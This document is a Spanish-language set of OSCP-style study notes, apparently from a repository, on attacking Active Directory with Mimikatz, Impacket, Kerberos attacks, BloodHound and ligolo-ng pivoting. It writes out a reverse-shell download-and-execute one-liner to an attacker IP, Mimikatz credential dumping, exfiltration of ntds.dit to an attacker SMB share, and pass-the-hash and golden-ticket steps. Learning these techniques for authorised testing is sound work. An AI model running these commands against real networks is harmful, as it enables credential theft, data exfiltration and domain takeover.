7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
353 lines
19 KiB
Markdown
353 lines
19 KiB
Markdown
# Apuntes Active Directory Pentest
|
|
|
|
Mimikatz · Impacket · Kerberos · BloodHound · Pivoting
|
|
|
|
---
|
|
|
|
## El mapa mental de todo
|
|
|
|
```
|
|
┌─────────────────────────────┐ ┌──────────────────────────────┐
|
|
│ TU KALI/DEBIAN │ │ VICTIMA WINDOWS │
|
|
│ (la atacante) │ │ (cliente o servidor) │
|
|
├─────────────────────────────┤ ├──────────────────────────────┤
|
|
│ │ │ │
|
|
│ ┌─ Impacket ─────────────┐ │ │ ┌─ Procesos a saquear ─┐ │
|
|
│ │ secretsdump (hashes) ├──┼─────┼──┤ LSASS (creds en RAM) │ │
|
|
│ │ psexec (shell) ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│ │
|
|
│ │ GetUserSPNs (kerb) ├──┼─────┼──┤ SAM/SYSTEM │ │
|
|
│ │ getTGT (kerb) │ │ │ └──────────────────────┘ │
|
|
│ └────────────────────────┘ │ │ │
|
|
│ │ │ ┌─ Lo que SUBES tú ────┐ │
|
|
│ ┌─ BloodHound ───────────┐ │ │ │ mimikatz.exe │ │
|
|
│ │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS │ │
|
|
│ │ neo4j + GUI (visualiza)│ │ │ │ Invoke-ConPtyShell.ps1│ │
|
|
│ └────────────────────────┘ │ │ │ Invoke-PowerShellTcp │ │
|
|
│ │ │ └──────────────────────┘ │
|
|
│ ┌─ Listener / loot ──────┐ │ │ │
|
|
│ │ nc -lvnp 4444 (shell) │◄─┼─TCP─┼─── reverse shell │
|
|
│ │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools │
|
|
│ │ smbserver.py (loot) │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc. │
|
|
│ └────────────────────────┘ │ │ │
|
|
└─────────────────────────────┘ └──────────────────────────────┘
|
|
```
|
|
|
|
**Idea clave**: tú no tienes "GUI" central. Cada herramienta es **independiente** y se comunica por **red** con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez.
|
|
|
|
---
|
|
|
|
## Quién hace qué
|
|
|
|
### Mimikatz
|
|
|
|
**Es un .exe que se ejecuta DENTRO de la víctima Windows.** No corre en Kali. Su trabajo: leer la memoria del proceso `LSASS` (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas.
|
|
|
|
```
|
|
tú (Kali) víctima Windows
|
|
───────── ────────────────
|
|
│
|
|
│ 1. Levantas HTTP en tu carpeta de herramientas
|
|
│
|
|
│ ┌────────────┐
|
|
│ 2. desde │ PowerShell │ iwr http://kali/mimikatz.exe -o m.exe
|
|
│ reverse │ shell │
|
|
│ shell ──► └─────┬──────┘
|
|
│ │
|
|
│ ▼
|
|
│ ┌────────────────┐
|
|
│ │ m.exe │ privilege::debug
|
|
│ │ │ sekurlsa::logonpasswords
|
|
│ 4. ves ◄───┤ vuelca creds │ lsadump::sam
|
|
│ hashes │ del LSASS │ lsadump::dcsync /user:Administrator
|
|
│ └────────────────┘
|
|
```
|
|
|
|
### Impacket
|
|
|
|
**Es una suite Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) **sin necesidad de ser Windows**. Es como tener un "Windows hablante" en tu Kali.
|
|
|
|
Los más útiles:
|
|
|
|
```
|
|
impacket-psexec → te da shell en la víctima si tienes creds (estilo PsExec)
|
|
impacket-wmiexec → ejecutas comandos sin tocar disco
|
|
impacket-smbexec → otra forma de ejecución remota
|
|
impacket-secretsdump → vuelca todo el NTDS.dit y SAM de un DC, en remoto
|
|
impacket-GetUserSPNs → ataque KERBEROASTING (saca TGS de cuentas de servicio)
|
|
impacket-GetNPUsers → ataque ASREPROAST (usuarios sin pre-auth Kerberos)
|
|
impacket-getTGT → forja/pide un TGT con cred conocida
|
|
impacket-getST → pide un service ticket
|
|
impacket-smbserver → monta un share SMB falso (para exfiltrar a Kali)
|
|
impacket-ntlmrelayx → relay attacks NTLM
|
|
```
|
|
|
|
### Kerberos en 30 segundos
|
|
|
|
```
|
|
┌──────────┐ ┌────────────────┐
|
|
│ Usuario │ ¿Pwd? │ KDC (Domain │
|
|
│ (cliente)│ ─────────────► │ Controller) │
|
|
└────┬─────┘ └────┬───────────┘
|
|
│ │
|
|
│ ◄──── TGT (te identifica)│
|
|
│ │
|
|
│ TGT + "quiero \\fileSrv" │
|
|
├──────────────────────────►│
|
|
│ │
|
|
│ ◄──── TGS (para fileSrv)│
|
|
│ │
|
|
│ ┌───────────┐ │
|
|
└──────────►│ fileServer│ "este TGS prueba que soy yo"
|
|
└───────────┘
|
|
```
|
|
|
|
- **TGT** = "carnet maestro" del KDC. Lo guarda el cliente.
|
|
- **TGS** = "ticket de un día" para hablar con un servicio concreto.
|
|
- **Trucos**: si pillas un TGT/TGS válido lo puedes **reutilizar** (pass-the-ticket). Si pillas el hash de `krbtgt` (la cuenta que firma TODOS los TGT) puedes forjar **Golden Tickets** = ser cualquiera, para siempre.
|
|
|
|
---
|
|
|
|
## La cadena de ataque "OSCP típica" con esto
|
|
|
|
```
|
|
┌─────────────────────────────────────────────────────────────────┐
|
|
│ │
|
|
│ 1) RCE inicial en una web ───────► reverse shell PowerShell │
|
|
│ (sqli, file upload, etc.) en máquina USUARIO1 │
|
|
│ │
|
|
│ │ │
|
|
│ ▼ │
|
|
│ │
|
|
│ 2) WinPEAS desde tu carpeta ──► subes y ejecutas │
|
|
│ enumera permisos, AlwaysInstallElevated, etc. │
|
|
│ │
|
|
│ │ │
|
|
│ ▼ │
|
|
│ │
|
|
│ 3) Local privesc ──► SYSTEM en USUARIO1 │
|
|
│ │
|
|
│ │ │
|
|
│ ▼ │
|
|
│ │
|
|
│ 4) Mimikatz ──► sekurlsa::logonpasswords │
|
|
│ → hash NTLM de un usuario de dominio (DOMAIN\juan) │
|
|
│ │
|
|
│ │ │
|
|
│ ▼ │
|
|
│ │
|
|
│ 5) BloodHound ──► "¿juan es admin en algún sitio?" │
|
|
│ "¿juan puede llegar a Domain Admin por algún camino?" │
|
|
│ │
|
|
│ │ │
|
|
│ ▼ │
|
|
│ │
|
|
│ 6) Impacket-psexec con el hash de juan ──► shell en SERVER2 │
|
|
│ impacket-psexec -hashes :HASH 'juan@server2.local' │
|
|
│ │
|
|
│ │ │
|
|
│ ▼ │
|
|
│ │
|
|
│ 7) Si server2 = Domain Controller: │
|
|
│ impacket-secretsdump ──► vuelcas TODA la BD del dominio │
|
|
│ (NTDS.dit, krbtgt, etc.) │
|
|
│ │
|
|
│ │ │
|
|
│ ▼ │
|
|
│ │
|
|
│ 8) Con hash de krbtgt: │
|
|
│ impacket-ticketer ──► Golden Ticket → eres dios │
|
|
│ │
|
|
└─────────────────────────────────────────────────────────────────┘
|
|
```
|
|
|
|
---
|
|
|
|
## Cómo se monta cada pieza en la práctica
|
|
|
|
### A) Levantas tu "puesto de mando" en Kali (terminales abiertos)
|
|
|
|
```
|
|
┌─ Terminal 1 (listener de shells) ─────────────────────────┐
|
|
│ stty raw -echo; (stty size; cat) | nc -lvnp 4444 │
|
|
└────────────────────────────────────────────────────────────┘
|
|
|
|
┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐
|
|
│ cd tu carpeta │
|
|
│ python3 -m http.server 80 │
|
|
└────────────────────────────────────────────────────────────┘
|
|
|
|
┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐
|
|
│ mkdir /tmp/loot && cd /tmp/loot │
|
|
│ impacket-smbserver loot . -smb2support │
|
|
└────────────────────────────────────────────────────────────┘
|
|
|
|
┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐
|
|
│ $ │
|
|
└────────────────────────────────────────────────────────────┘
|
|
```
|
|
|
|
### B) Recibes una reverse shell
|
|
|
|
Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes:
|
|
|
|
```powershell
|
|
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
|
|
```
|
|
|
|
Tu Terminal 1 te da una shell **interactiva** Windows.
|
|
|
|
### C) Subes y ejecutas Mimikatz desde esa shell
|
|
|
|
```powershell
|
|
# Dentro de la shell, en la víctima:
|
|
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe
|
|
C:\Windows\Temp\m.exe
|
|
```
|
|
|
|
Y dentro de mimikatz:
|
|
|
|
```
|
|
privilege::debug
|
|
sekurlsa::logonpasswords
|
|
```
|
|
|
|
Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest).
|
|
|
|
### D) Exfiltras un fichero grande (NTDS.dit, etc.)
|
|
|
|
Desde la víctima:
|
|
|
|
```cmd
|
|
copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\
|
|
```
|
|
|
|
Aparece en `/tmp/loot/` en tu Kali. **Esto sustituye al wget**, porque SMB cifra y atraviesa muchos firewalls.
|
|
|
|
### E) Lateral movement con Impacket (sin reverse shell nueva)
|
|
|
|
Una vez tienes hash de un user privilegiado:
|
|
|
|
```bash
|
|
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
|
|
```
|
|
|
|
Te da shell SYSTEM en otra máquina, **sin necesidad de meter ninguna reverse shell**. Por encima de la red, autenticado, limpio.
|
|
|
|
### F) Pivoting (entrar en una red interna) con ligolo-ng
|
|
|
|
```
|
|
TU KALI USUARIO1 RED INTERNA
|
|
10.10.10.5 10.10.10.50 192.168.5.0/24
|
|
│ │ │
|
|
│ ligolo proxy │ │
|
|
│ ───── tunel ─────► │ │
|
|
│ │ │
|
|
│ ligolo agent ─── puede llegar ──► 192.168.5.10 (DC)
|
|
│ │
|
|
│ añades ruta: │
|
|
│ ip route add │
|
|
│ 192.168.5.0/24 dev ligolo
|
|
│
|
|
│ ahora desde Kali:
|
|
│ impacket-psexec admin@192.168.5.10 ◄── el tráfico va por el túnel
|
|
▼
|
|
```
|
|
|
|
---
|
|
|
|
## BloodHound — qué hace y cómo lo montas
|
|
|
|
### Qué hace
|
|
|
|
Te dibuja Active Directory **como un grafo**. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas:
|
|
|
|
> "¿Cuál es el camino más corto desde **juan** hasta **Domain Admins**?"
|
|
|
|
Y te lo pinta. Te ahorra **días** de mirar listados de grupos a mano.
|
|
|
|
```
|
|
┌─────────┐ MemberOf ┌──────────────┐
|
|
│ juan ├─────────────►│ HelpDesk │
|
|
└─────────┘ └──────┬───────┘
|
|
│ AdminTo
|
|
▼
|
|
┌──────────────┐
|
|
│ workstation42│
|
|
└──────┬───────┘
|
|
│ HasSession (admin con sesión activa aquí)
|
|
▼
|
|
┌──────────────┐
|
|
│ ana │
|
|
└──────┬───────┘
|
|
│ MemberOf
|
|
▼
|
|
┌──────────────┐
|
|
│ Domain Admins│ ← jackpot
|
|
└──────────────┘
|
|
```
|
|
|
|
### Componentes
|
|
|
|
```
|
|
┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐
|
|
│ SharpHound (.exe)│ o │ bloodhound-python│ ────► │ JSON files │
|
|
│ corre en víctima │ │ corre en Kali │ │ con datos AD│
|
|
└──────────────────┘ └─────────────────┘ └──────┬───────┘
|
|
│
|
|
▼
|
|
┌──────────────────┐
|
|
│ BloodHound GUI │
|
|
│ (en tu Kali) │
|
|
│ + │
|
|
│ Neo4j (base BD) │
|
|
└──────────────────┘
|
|
```
|
|
|
|
- **SharpHound** = el "recolector" que enumera AD. Hay versión `.exe` (subes a víctima) y `.py` (corres desde Kali si ya tienes creds y conectividad).
|
|
- **BloodHound GUI** = la interfaz gráfica donde cargas el JSON y haces queries.
|
|
- **Neo4j** = la base de datos del grafo (la GUI la necesita).
|
|
|
|
### Instalación en Debian
|
|
|
|
```bash
|
|
sudo apt install -y bloodhound bloodhound.py
|
|
```
|
|
|
|
```bash
|
|
# Neo4j (la BD que necesita BloodHound)
|
|
sudo apt install -y neo4j
|
|
sudo systemctl start neo4j
|
|
sudo neo4j-admin set-initial-password 'BloodHound1!'
|
|
```
|
|
|
|
### Uso (workflow)
|
|
|
|
```bash
|
|
# 1) Recolectar datos desde Kali (necesitas creds válidas)
|
|
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
|
|
# → genera varios .json en el directorio actual
|
|
|
|
# 2) Lanzar la GUI
|
|
bloodhound
|
|
# Login: neo4j / BloodHound1!
|
|
# Arrastras los .json a la ventana → quedan cargados
|
|
|
|
# 3) Queries útiles ya integradas:
|
|
# - Find Shortest Paths to Domain Admins
|
|
# - Find Kerberoastable Accounts
|
|
# - Find AS-REP Roastable Users
|
|
```
|
|
|
|
---
|
|
|
|
## Resumen TL;DR
|
|
|
|
| Pregunta | Respuesta |
|
|
|---|---|
|
|
| ¿Tengo GUI central? | **No**. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. |
|
|
| ¿Reverse shell? | `nc` + `Invoke-ConPtyShell` desde la víctima. Lo recibes en `nc -lvnp 4444`. |
|
|
| ¿Cómo envío datos? | **Subes** con `python3 -m http.server`. **Recibo** con `impacket-smbserver`. |
|
|
| ¿Cómo pivoto? | `ligolo-ng` (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. |
|
|
| ¿BloodHound? | `apt install bloodhound bloodhound.py neo4j`. |
|
|
| ¿Mimikatz? | Descargado en `tu carpeta`. Se ejecuta **en la víctima**, no en Kali. |
|
|
| ¿Impacket? | Instalado a nivel sistema (`impacket-*`). Corre en Kali, habla con víctimas. |
|